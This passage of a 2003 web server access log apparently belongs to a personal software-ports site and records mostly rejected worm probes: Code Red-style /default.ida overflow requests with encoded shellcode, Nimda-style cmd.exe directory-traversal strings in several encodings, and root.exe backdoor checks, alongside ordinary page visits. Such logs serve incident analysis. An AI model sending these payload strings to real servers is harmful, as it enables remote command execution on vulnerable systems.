/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 212.114.213.8 - - [19/May/2003:21:14:57 +0200] "OPTIONS / HTTP/1.1" 403 210 mix-puteaux-109-4-31.w80-9.abo.wanadoo.fr - - [18/May/2003:20:08:47 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 200.161.91.239 - - [16/May/2003:16:19:27 +0200] "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 400 - mix-cayenne-104-1-178.w193-248.abo.wanadoo.fr - - [16/May/2003:14:53:42 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-cayenne-104-1-178.w193-248.abo.wanadoo.fr - - [16/May/2003:14:50:51 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-lille-111-2-209.w193-248.abo.wanadoo.fr - - [16/May/2003:12:56:07 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 193.140.234.214 - - [16/May/2003:12:37:48 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-toulouse-206-3-53.w193-248.abo.wanadoo.fr - - [14/May/2003:22:03:06 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 193.140.226.71 - - [14/May/2003:14:45:11 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 217.219.185.65 - - [14/May/2003:09:55:24 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 193.220.183.91 - - [12/May/2003:21:20:00 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 193.95.81.89 - - [08/May/2003:21:24:35 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-marseille-108-1-169.w80-9.abo.wanadoo.fr - - [07/May/2003:16:19:03 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-ste-genev-bois-103-1-7.abo.wanadoo.fr - - [01/May/2003:12:16:17 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-marseille-205-4-152.abo.wanadoo.fr - - [22/Apr/2003:19:49:13 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-poitiers-105-1-126.abo.wanadoo.fr - - [19/Apr/2003:21:48:27 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 212.60.71.5 - - [17/Apr/2003:15:51:04 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 - 200.62.20.10 - - [17/Apr/2003:13:46:26 +0200] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 403 - mix-limoges-101-2-3.abo.wanadoo.fr - - [11/Apr/2003:16:41:27 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-rennes201-1-253.abo.wanadoo.fr - - [11/Apr/2003:15:17:12 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 134.180.185.137 - - [11/Apr/2003:11:10:16 +0200] "HEAD / HTTP/1.0" 403 0 193.255.245.200 - - [11/Apr/2003:10:26:29 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-nice-106-2-201.abo.wanadoo.fr - - [07/Apr/2003:15:22:10 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 mix-amiens-112-1-124.abo.wanadoo.fr - - [07/Apr/2003:11:05:21 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 193.227.11.47 - - [06/Apr/2003:12:21:22 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 217.167.17.41 - - [05/Apr/2003:21:08:11 +0200] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 403 - 157-198-adsl.red.retevision.es - - [05/Apr/2003:11:05:05 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 403 209 193.253.190.213 - - [09/Feb/2003:18:12:54 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 193.253.190.213 - - [09/Feb/2003:18:12:55 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 193.253.190.213 - - [09/Feb/2003:18:13:00 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.253.190.213 - - [09/Feb/2003:18:13:02 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.253.190.213 - - [09/Feb/2003:18:13:06 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.253.190.213 - - [09/Feb/2003:18:13:08 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.253.190.213 - - [09/Feb/2003:18:13:12 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.253.190.213 - - [09/Feb/2003:18:13:22 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 193.253.190.213 - - [09/Feb/2003:18:13:27 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.253.190.213 - - [09/Feb/2003:18:13:37 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.253.190.213 - - [09/Feb/2003:18:13:39 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.253.190.213 - - [09/Feb/2003:18:13:44 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.253.190.213 - - [09/Feb/2003:18:13:49 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 193.253.190.213 - - [09/Feb/2003:18:13:52 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 193.253.190.213 - - [09/Feb/2003:18:13:54 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.253.190.213 - - [09/Feb/2003:18:13:55 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.253.190.213 - - [09/Feb/2003:18:46:23 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 193.253.190.213 - - [09/Feb/2003:18:46:25 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 193.253.190.213 - - [09/Feb/2003:18:46:26 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.253.190.213 - - [09/Feb/2003:18:46:28 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.253.190.213 - - [09/Feb/2003:18:46:39 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.253.190.213 - - [09/Feb/2003:18:46:45 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.253.190.213 - - [09/Feb/2003:18:46:47 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 202.44.68.216 - - [07/Feb/2003:16:08:25 +0100] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 - 65.102.12.225 - - [04/Feb/2003:14:25:32 +0100] "GET /b.cgi?ping&353629871&59C528FC3408 HTTP/1.0" 404 199 65.102.12.225 - - [04/Feb/2003:14:25:41 +0100] "GET /?ping&353629871&59C528FC3408 HTTP/1.0" 200 2041 65.102.12.225 - - [04/Feb/2003:14:25:50 +0100] "GET /index.php?lang=fr HTTP/1.0" 200 2182 65.102.23.161 - - [04/Feb/2003:14:26:04 +0100] "GET /en/index.php HTTP/1.0" 200 7417 65.102.23.153 - - [04/Feb/2003:14:26:25 +0100] "GET /en/ports.php?page=sdl HTTP/1.0" 200 1148 65.102.23.169 - - [04/Feb/2003:14:26:33 +0100] "GET /en/ports.php?page=pov HTTP/1.0" 200 3645 65.102.23.153 - - [04/Feb/2003:14:26:43 +0100] "GET /en/ports.php?page=doom HTTP/1.0" 200 3645 65.102.23.153 - - [04/Feb/2003:14:26:58 +0100] "GET /index.php?lang=en HTTP/1.0" 200 2041 65.102.12.225 - - [04/Feb/2003:14:27:10 +0100] "GET /fr/index.php HTTP/1.0" 200 7767 65.102.12.225 - - [04/Feb/2003:14:27:22 +0100] "GET /fr/ports.php?page=sdl HTTP/1.0" 200 1249 65.102.23.161 - - [04/Feb/2003:14:27:47 +0100] "GET /fr/ports.php?page=pov HTTP/1.0" 200 3838 65.102.23.161 - - [04/Feb/2003:14:28:05 +0100] "GET /fr/ports.php?page=doom HTTP/1.0" 200 3838 65.102.12.225 - - [04/Feb/2003:14:28:15 +0100] "GET /fr/cv.html HTTP/1.0" 200 7204 65.102.12.225 - - [04/Feb/2003:14:28:24 +0100] "GET /en/perso.php?page=124beers HTTP/1.0" 200 1609 65.102.12.225 - - [04/Feb/2003:14:28:39 +0100] "GET /en/perso.php?page=xtasie HTTP/1.0" 200 1682 65.102.23.153 - - [04/Feb/2003:14:28:50 +0100] "GET /en/perso.php?page=sf2 HTTP/1.0" 200 1691 65.102.23.161 - - [04/Feb/2003:14:29:13 +0100] "GET /en/perso.php?page=doom HTTP/1.0" 200 2880 65.102.23.169 - - [04/Feb/2003:14:29:32 +0100] "GET /en/ports.php?page=heretic HTTP/1.0" 200 2278 65.102.23.161 - - [04/Feb/2003:14:29:42 +0100] "GET /en/ports.php?page=hexen HTTP/1.0" 200 2023 65.102.12.225 - - [04/Feb/2003:14:29:54 +0100] "GET /en/ports.php?page=quake HTTP/1.0" 200 1549 65.102.23.169 - - [04/Feb/2003:14:30:05 +0100] "GET /en/ports.php?page=dillo HTTP/1.0" 200 1192 65.102.23.169 - - [04/Feb/2003:14:30:16 +0100] "GET /en/ports.php?page=fetchmail HTTP/1.0" 200 1196 65.102.23.153 - - [04/Feb/2003:14:30:25 +0100] "GET /en/ports.php?page=junkbuster HTTP/1.0" 200 1304 65.102.23.161 - - [04/Feb/2003:14:30:35 +0100] "GET /en/ports.php?page=leafnode HTTP/1.0" 200 1101 65.102.23.153 - - [04/Feb/2003:14:31:00 +0100] "GET /en/ports.php?page=pcre HTTP/1.0" 200 1224 65.102.12.225 - - [04/Feb/2003:14:31:37 +0100] "GET /en/ports.php?page=sylpheed HTTP/1.0" 200 1069 65.102.23.161 - - [04/Feb/2003:14:31:49 +0100] "GET /en/ports.php?page=wwwoffle HTTP/1.0" 200 1042 65.102.23.153 - - [04/Feb/2003:14:32:05 +0100] "GET /en/patchs.php?page=klm HTTP/1.0" 200 1242 65.102.12.225 - - [04/Feb/2003:14:32:51 +0100] "GET /en/patchs.php?page=xmame HTTP/1.0" 200 1241 65.102.23.169 - - [04/Feb/2003:14:33:06 +0100] "GET /en/patchs.php?page=dillo HTTP/1.0" 200 1113 65.102.23.153 - - [04/Feb/2003:14:33:45 +0100] "GET /en/patchs.php?page=binutils HTTP/1.0" 200 1239 65.102.23.169 - - [04/Feb/2003:14:34:30 +0100] "GET /en/patchs.php?page=gcc HTTP/1.0" 200 1796 65.102.12.225 - - [04/Feb/2003:14:35:41 +0100] "GET /en/patchs.php?page=pth HTTP/1.0" 200 1205 65.102.23.161 - - [04/Feb/2003:14:35:53 +0100] "GET /en/patchs.php?page=mintlib HTTP/1.0" 200 1120 65.102.23.169 - - [04/Feb/2003:14:36:42 +0100] "GET /en/patchs.php?page=quake HTTP/1.0" 200 1071 65.102.12.225 - - [04/Feb/2003:14:36:51 +0100] "GET /en/patchs.php?page=sdl HTTP/1.0" 200 1133 65.102.23.161 - - [04/Feb/2003:14:38:08 +0100] "GET /en/patchs.php?page=sylpheed HTTP/1.0" 200 1111 65.102.12.225 - - [04/Feb/2003:14:38:24 +0100] "GET /en/prog.php?page=cross HTTP/1.0" 200 5030 65.102.23.169 - - [04/Feb/2003:14:39:09 +0100] "GET /en/prog.php?page=cross295 HTTP/1.0" 200 5048 65.102.23.169 - - [04/Feb/2003:14:40:08 +0100] "GET /en/prog.php?page=cross30 HTTP/1.0" 200 5476 65.102.23.169 - - [04/Feb/2003:14:40:37 +0100] "GET /en/prog.php?page=cross301 HTTP/1.0" 200 5411 65.102.23.161 - - [04/Feb/2003:14:41:03 +0100] "GET /en/prog.php?page=cross31 HTTP/1.0" 200 7048 65.102.23.161 - - [04/Feb/2003:14:42:07 +0100] "GET /en/prog.php?page=sysinc HTTP/1.0" 200 1095 65.102.23.169 - - [04/Feb/2003:14:42:23 +0100] "GET /en/prog.php?page=viewtim HTTP/1.0" 200 1328 65.102.12.225 - - [04/Feb/2003:14:42:37 +0100] "GET /en/prog.php?page=vdiinfo HTTP/1.0" 200 1008 65.102.23.153 - - [04/Feb/2003:14:42:53 +0100] "GET /en/prog.php?page=blitter HTTP/1.0" 200 1130 65.102.12.225 - - [04/Feb/2003:14:43:07 +0100] "GET /en/prog.php?page=reseau HTTP/1.0" 200 3030 65.102.12.225 - - [04/Feb/2003:14:43:29 +0100] "GET /en/projets.php?page=wolf3d HTTP/1.0" 200 1145 65.102.12.225 - - [04/Feb/2003:14:43:41 +0100] "GET /en/projets.php?page=descent HTTP/1.0" 200 1102 65.102.23.169 - - [04/Feb/2003:14:44:10 +0100] "GET /en/projets.php?page=vcs2600 HTTP/1.0" 200 997 65.102.23.161 - - [04/Feb/2003:14:44:20 +0100] "GET /en/projets.php?page=gb HTTP/1.0" 200 986 65.102.23.153 - - [04/Feb/2003:14:44:29 +0100] "GET /en/projets.php?page=snes HTTP/1.0" 200 1111 65.102.23.153 - - [04/Feb/2003:14:44:38 +0100] "GET /en/projets.php?page=xmame HTTP/1.0" 200 1099 65.102.23.153 - - [04/Feb/2003:15:13:12 +0100] "GET /en/misc.php?page=attack HTTP/1.0" 200 10278 202.164.154.3 - - [26/Jan/2003:23:21:53 +0100] "GET / HTTP/1.1" 400 307 67.34.229.217 - - [20/Jan/2003:22:21:39 +0100] "GET http://www.google.com/imghp?hl=en HTTP/1.1" 404 211 81.113.43.98 - - [17/Jan/2003:11:05:59 +0100] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 - 202.145.72.157 - - [15/Jan/2003:22:47:09 +0100] "GET 